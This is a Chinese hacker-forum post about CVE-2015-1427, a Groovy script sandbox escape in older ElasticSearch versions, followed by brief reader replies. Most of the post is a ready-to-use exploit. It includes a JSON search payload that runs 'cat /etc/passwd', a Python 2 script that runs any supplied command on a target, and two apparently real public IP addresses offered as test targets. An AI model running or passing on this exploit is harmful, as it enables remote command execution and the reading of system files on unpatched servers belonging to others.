ElasticSearch Groovy脚本远程代码执行漏洞

C4r1st

ElasticSearch的这个漏洞的编号是CVE-2015-1427，影响版本为1.3.0-1.3.7以及1.4.0-1.4.2，漏洞成因详见：http://drops.wooyun.org/papers/5107，本文具体探讨一下漏洞利用。
1.2.0版本默认是禁用了脚本执行，如果要使用该功能的话，要在elasticsearch.yml中设置script.disable_dynamic:true。
在1.3.0版本，开始使用groovy和sandbox来进行脚本执行，其中使用了白名单机制，限制了可以调用的类和方法等等。
但是因为Java中的反射机制，我们可以通过白名单中的类获取到Runtime，也就造成了远程代码执行漏洞，威力很大。
直接给出EXP
测试url:http://190.196.67.252:9200/_search?pretty

[AppleScript] 纯文本查看 复制代码

http://191.234.18.14:9200///_search?pretty 

[AppleScript] 纯文本查看 复制代码

{"size":1,"script_fields": {"iswin": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}

[AppleScript] 纯文本查看 复制代码

#!/usr/bin/env python
import urllib
import urllib2
import json
import sys

def execute(url,command):
    parameters = {"size":1,
                    "script_fields":
                    {"iswin":
                        {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).\
                        newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.\
                        class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").\
                        getInputStream())).readLines()" % command,"lang": "groovy"}
                    }
                }
    data = json.dumps(parameters)
    try:
        request=urllib2.Request(url+"_search?pretty",data)
        request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36')
        response=urllib2.urlopen(request)
        result = json.loads(response.read())["hits"]["hits"][0]["fields"]["iswin"][0]
        for i in result:
            print i
    except Exception, e:
        print e

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print "usage %s url command" % sys.argv[0]
    else:
        execute(sys.argv[1],sys.argv[2])

Lucifer

perble

ayang

学习学习技术，加油！

Micah

支持，看起来不错呢！

wilist

支持中国红客联盟(ihonker.org)

cl476874045

感谢楼主的分享~